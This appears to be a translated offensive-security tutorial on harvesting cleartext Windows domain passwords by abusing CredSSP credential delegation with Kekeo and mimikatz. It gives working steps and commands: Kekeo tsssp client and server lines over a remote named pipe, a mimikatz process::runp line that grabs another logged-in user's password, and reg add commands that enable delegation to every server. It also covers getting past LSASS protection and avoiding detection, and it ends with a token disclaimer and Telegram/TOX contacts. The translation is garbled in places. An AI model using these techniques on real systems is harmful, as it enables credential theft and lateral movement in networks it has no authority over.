If you have compromised a Windows host and are unable or unwilling to dump public passwords using traditional methods (such as sekurlsa::logonpasswords from mimikatz or LSASS dump), you should check your credential delegation settings. If enabled, it allows you to retrieve cleartext passwords without affecting the LSASS process or even being subject to administrator rights (limited only by the current user's password)!

Technical background 🔗

RDP (Remote Desktop/Terminal Server) is compatible with SSO. If you are using a domain-joined Windows device, you can connect to the server remotely using RDP with your current AD user account without re-entering your password. But you should know that opening an RDP session translates to interactively opening a session on the server side. This is important because it means that your password is sent to the server, secure in transit of course, but the remote server still ends up receiving the password in clear text.

Now do you understand where we are going? Take the time to guess what could go wrong... 🤔
➡️ If you guessed that we can implement a malicious server and get the password, then you are right!

In the background, this RDP SSO feature relies on the "CredSSP/TSSSP/TSPKG" components which provide "credential delegation". For the purists, note that these acronyms are not at the same level: "SSP" = Security Support Provider, "TSSSP" = "Terminal Services SSP", and "TSPKG" is the Authentication Provider (implemented in sekurlsa::logonpasswords by mimikatz ). or rather
securlsa::tspkg).

Benjamin @gentilkiwi Delpy reminded us in a 2016 tweet that enabling credential delegation results in passwords being in memory, even on Windows 10! This requires some settings and by default they are not configured which means they are not enabled and this feature does not work...

Hint 😉: In your environment, if you always enter your password when connecting to RDP, even with your own current account: this means that these settings are probably not enabled... But it may be more complicated, for example other services than RDP (e.g. PowerShell Remoting, Microsoft Virtual Console Service, Visual Studio Remote Debugging, etc.) can use this and be enabled instead, so read the rest anyway!

Also note that for RDP, this only works with servers that have NLA enabled. NLA is a network-level authentication that allows authentication before opening a graphical session. If you enter credentials into a field on your client, NLA is used. If your RDP client opens a graphical session and you enter your password on the remote server, NLA is not used.

Related Settings
As I said, this requires some settings, what are they?

We can find them in the Group Policy Editor (GPO) under Computer Configuration\Administrative Templates\System\Delegation of Credentials.

Some are "Allow" settings and others are "Deny" settings. To be active, they must be enabled, then one or more authorized servers must be defined. For example:

We see similar options for different types:

- Default credentials

- New credentials

- Saved Credentials

We're interested in "default credentials" here because they are the current credentials for the authenticated user. Whereas, if I understood correctly, "fresh credentials" are for example the ones you enter when connecting to a remote server using RDP, and "saved credentials" are the credentials you saved in your Windows vault (see mimikatz vault::... commands).

Many tutorials and even Microsoft tools seem to change these settings. Authorized servers fields allow wildcards "", and it is common to see "TERMSRV/" or "TERMSRV/.domain.example.com" ("TERMSRV" stands for RDP) or the same with a "HOST/" prefix, or even just "*"! The UI actually refers to "servers", but since SPN notation is used, it is more appropriate to talk about "authorized services" since not all services hosted on a server are authorized. And SPNs can be associated with service accounts, not just computer accounts.

The settings in this GPO folder are converted to registry values ​​in
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CredentialsDelegation.
"Allow delegation of default credentials" maps to "AllowDefaultCredentials" and "Allow delegation of default credentials with NTLM-only server authentication" maps to "AllowDefCredentialsWhenNTLMOnly".

Here's what the registry looks like for the GPO settings set above:

Obviously, both the settings are enabled and the authorized server are preserved.

Did you notice the "Merge OS defaults with inputs above" checkbox (checked by default)? It also maps to registry keys, but what are these "OS default values"?

They are stored in
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults",
but they don't seem to have GPO equivalents. On my devices they appear empty/undefined, for example:

Perhaps this will change in future versions of Windows? 🤔

Kekeo offers the tsssp::list command to nicely display the contents of these registry keys:

And, when nothing is defined:

Finally, you should remember that these settings are required for “credential delegation” to work and that none of them are enabled or configured by default.

The settings are used at two different points:

The fact that these settings are used at login means that once enabled, a logout cycle is required (or a reboot if you want to be more sure).

Once credential delegation is enabled, your password will be stored in memory. Which specific option is enabled and with which authorized servers will only determine which technique to use and how difficult it is to reset it.

Credential theft
You may have noticed that there are two similar settings:

“Allow credential delegation by default”: The GPO description states that “this policy setting is applied when server authentication has been achieved using a trusted X509 or Kerberos certificate.”

“Allow credential delegation by default with NTLM-only server authentication”: The GPO description states that “this policy setting is applied when server authentication was achieved using NTLM.”

If the first option is enabled, refer to the first section below for “Kerberos Server”. And if the second option is enabled, refer to the second section below for “NTLM server”.

Kerberos server (“Allow credential delegation by default”)
You may have noticed that authorized servers are designated using the SPN notation: “SERVICE/host.fqdn”, and this makes sense when using Kerberos. We should actually say “authorized services” instead of “authorized servers” because the SPN can only allow one service per host.

When using CredSSP/TSSP with Kerberos, the usual authentication process is used. Therefore, the SPN specified with the “/target” Kekeo argument must exist so that the Ticket Issuing Service can find it and deliver our Service Ticket to us. Kerberos allows the client to verify the authenticity of the server it is communicating with. So, in addition to the fact that the “/target” argument must be valid, it must be valid for the server that we are asking our Kekeo client to connect to. Moreover, common service member names such as “TERMSRV/…” or “HOST/…” are associated with computer accounts, not user accounts! Therefore, our Kekeo server should work as the ID of the target server. The easiest way is to run it as “NT AUTHORITY\SYSTEM”.

The scenario here is that you have compromised an authorized server (by executing code like SYSTEM, or a stolen computer account password, or a stolen TGT for a computer account, etc.) and you abuse it to obtain user passwords from other computers.

In the following example, our client computer is “client.lab.test” (left), and we use the remote server “adcs.lab.test” (right). This is a DNS server (AD PKI server), but it doesn’t matter here, and it can be any Windows computer joined to the domain. Both are attached to AD, and “HOST/adcs.lab.test” is authorized in the credentials delegation policy of the client computer. So, we want to get the password for the current “user” active on the “client” computer, thanks to the authorized “adcs” server, which we have compromised. We will definitely run the Kekeo server on “adcs” as a SYSTEM using “psexec -s” (or one of many other methods).

We have confirmation on the server side that “Kerberos” is used in the line “[Package]”, and we receive on the Kekeo client side credentials for the user “user” under which the Kekeo client is running, with its clear password.

For those who are interested, here are two Service Tickets received in the process by the “client” computer:

(If you are wondering why there is no “TERMSRV/adcs.lab.test” service ticket, which is strange since we mentioned RDP SSO, and why there is a “cifs/adcs.lab.test” service ticket instead, I will try to explain later how Kekeo implements this?).

NTLM server (“Allow default credential delegation with NTLM-only server authentication”)

NTLM is easier to use because the client computer cannot authenticate the server. Therefore, we do not need to fake the identity of a legitimate authorized remote server, and it works even locally.

For this demo, I decided to enable everything (“allow default credential delegation” and “allow default credential delegation with NTLM-only server authentication”) for all servers (“*” for both):

I am running two instances of Kekeo on the same computer. First, I start the server on the right side using tsp::server. Then I launch the client from the left side using tsp::client/target:A

We can see that the credentials were received on the Kekeo server, including the password in
clear text. The line “[Package]” confirms that “NTLM” is being used.

To confirm, let me show you that both Kekeo instances are running under the user “user”, who is not an administrator:

It also works with a remote computer if it is in the same domain. You just need to label it with the “/pipe” argument, for example:

tsssp::client /target:B /pipe:\\192.168.42.1\pipe\kekeo_tsssp_endpoint

The “/target” parameter is required, and its value must be included in the list of authorized targets, but it does not have to be an existing computer. When using NTLM, “/target” is checked by the client’s policy, but the server doesn’t care. So in this example, if the policy only allows “TERMSRV/toto”, I have to specify it as “/target”, but I can send it to any server (here 192.168.42.1 is not “toto”), and it still works:

In this additional demo, I have enabled LSASS protection, so in the lower left window you can see that even with “NT AUTHORITY\SYSTEM” and after enabling the SeDebug privilege (which is not actually required), I cannot reset the credentials because mimikatz cannot access LSASS. However, using this
technique, I can get the password of the user “user” under whose name I am connecting, even if it is not admin.

Note that my tests show that this does not work if only the “Allow default credential delegation with NTLM-only server authentication” setting is enabled… The “Allow default credential delegation” option seems to be required as well.

Troubleshooting
Before getting the perfect results presented above, I tried my best and ran into several errors. I have defined them below with their possible explanations based on my understanding (with no guarantee of correctness).

The first problem you’ll notice is that sometimes it stops for a few seconds in the middle of an operation: It seems normal, and eventually it ends.…

Named Channel errors:

• WaitNamedPipe (0x00000002) — “The system cannot find the specified file”
  Error in the hostname, or the named pipe name, or the server is not
  listening (do not forget to restart tsp::server every
  time you try!)

• WaitNamedPipe (0x0000052e) — “Login error: unknown username or invalid password”. The server cannot authenticate the client. This can happen if the server is not in the same domain as the client or cannot contact the KDC./

Credential delegation errors:

• 0x8009035E — “Client policy does not allow credentials to be delegated
  to the target server.” The “/target” argument specifies a target that is not authorized by the credential delegation policy. Or the policy does not authorize any
  server…

• 0x8009030e — “There are no credentials available in the security package”
  Occurs if the credential delegation policy is enabled for
  “NTLM-only servers”, but not for regular servers. I do not know
  why…
  It also seems to happen if we haven’t logged out and logged in
  after enabling credential delegation. It seems like
  It is normal, since the user passwords have not yet been saved in memory.

• 0x8009035f — “The client policy does not allow credentials delegation to the target server with NLTM authentication only” The message is explicit: we are trying to delegate credentials using NTLM, but the policy does not allow this. This means that “/target” is missing from the “NTLM-only server” policy. By default, the client will try to use Kerberos, but in some cases it will revert to NTLM. If the service member name specified with “/target” is not registered in Active Directory (connect to LDAP or something else and check).

Keep in mind that “TERMSRV/” is not always the declared service member name! Unlike “HOST/”, which seems to be always present and should be used instead if it is authorized in the policy. Also note that Kerberos can only be used with remote servers, as it is disabled on the local host (or any variant of the name) using a feedback detector:

Thus, if the Kerio client and server are on the same computer, it will revert to NTLM and cause this error if NTLM is not allowed by the credential delegation policy. ((Actually, it seems to work locally when the Kerio server is running from another computer’s TGT… An investigation is required!)

• 0x80090322 — “Invalid target participant name”. Either “/target” is invalid (check in AD that this is a valid declared service member name), or the Kekeo server does not work under the server computer ID (i.e. not as a SYSTEM, or the computer account impersonation did not work).

What should I do if credential delegation is not enabled or if the policy is too restrictive?

Sometimes you really need credentials, but credential delegation is not enabled or not the way you wanted… Then you can change the configuration! 💡 But when conducting a pentest, you must first get permission, and you should avoid changing the client’s configuration as much as possible, especially when it means reducing the level of security, as here… In any case, do not forget to cancel the changes to their original cost!

As a local administrator, you have technical permissions to change the credential delegation policy in the registry.

• If credential delegation is not enabled, you can enable it.
  This will allow you to get passwords for accounts that
  are logged in after the change.

• If credential delegation is enabled, but the list of authorized
  servers is too limited, you can change it at any time,
  for example, by adding a simple wildcard. This change takes
  effect immediately.

Here are some commands to enable credential delegation for all servers using Kerberos or NTLM. Again, use with caution, as this basically disables security.…

reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d "*"

reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d "*"

These commands are taken from a tweet by Benjamin @gentilkiwi Delphi, who suggested this to get passwords in clear text. A suggested alternative for this is to re-enable WDigest, but it is more popular and therefore more likely to trigger an alarm.

And to reset everything by deleting all credential delegation settings:

reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f

How do I reset the credentials of other users?

In all the demonstrations above, I got the password for the user I was running the Kekeo client under. One could argue that it is less effective than the sekurlsa::login password from mimikatz, which resets credentials for all users with open sessions.

Take the time to think about the solution here…

The idea is to run the Kekeo client in the context of the session of each user you are interested in.

For this demonstration, I will run my Kekeo server locally under the user “user”, who is not an administrator. Let’s imagine that I have achieved the execution of the command as a SYSTEM and see that the user “admin” has an open session. First, I list his processes:

I will be running the Keko server as a child of its regedit processes (PID 3344). Thus, the Kekeo child process will not work as a SYSTEM, but as an “admin” user.

I prefer to use the mimikatz process::rup command, but there are several alternatives at your disposal.

The command is as follows:

process::runp /pid:3344 /run:"kekeo.exe \"tsssp::client /target:A\" exit"

What should I do if only certain servers are authorized?

As explained above, you can change the policy if you are an administrator. Or, if this is not the case, you can impersonate an authorized server. There are several ways: a golden ticket, possession of a hash of the computer account password, PCI compromise (and thus the ability to generate a certificate for the target server)…

How does Kekeo implement this?

I haven’t really delved into the details of how this is implemented in Kakao, but it’s clear that it doesn’t use the RDP protocol (TCP/3389)! Instead, it uses a remote named pipe between its client and server components via SMB (TCP/445). Remember, I said that CredSSP/TSSP is mainly used with RDP, but I also said that it is used by other protocols, so we can assume that it also works over SMB!

What about the Credential Guard in Windows Defender?

This feature, which isolates LSASS in a secure VM (also called “LSAIso”), protects against this because it simply disables CredSSP.

THE NOTE This article is for informational purposes only. We do not encourage you to commit any hacking. Everything you do is your responsibility.

TOX : 340EF1DCEEC5B395B9B45963F945C00238ADDEAC87C117F64F46206911474C61981D96420B72

Telegram : @DevSecAS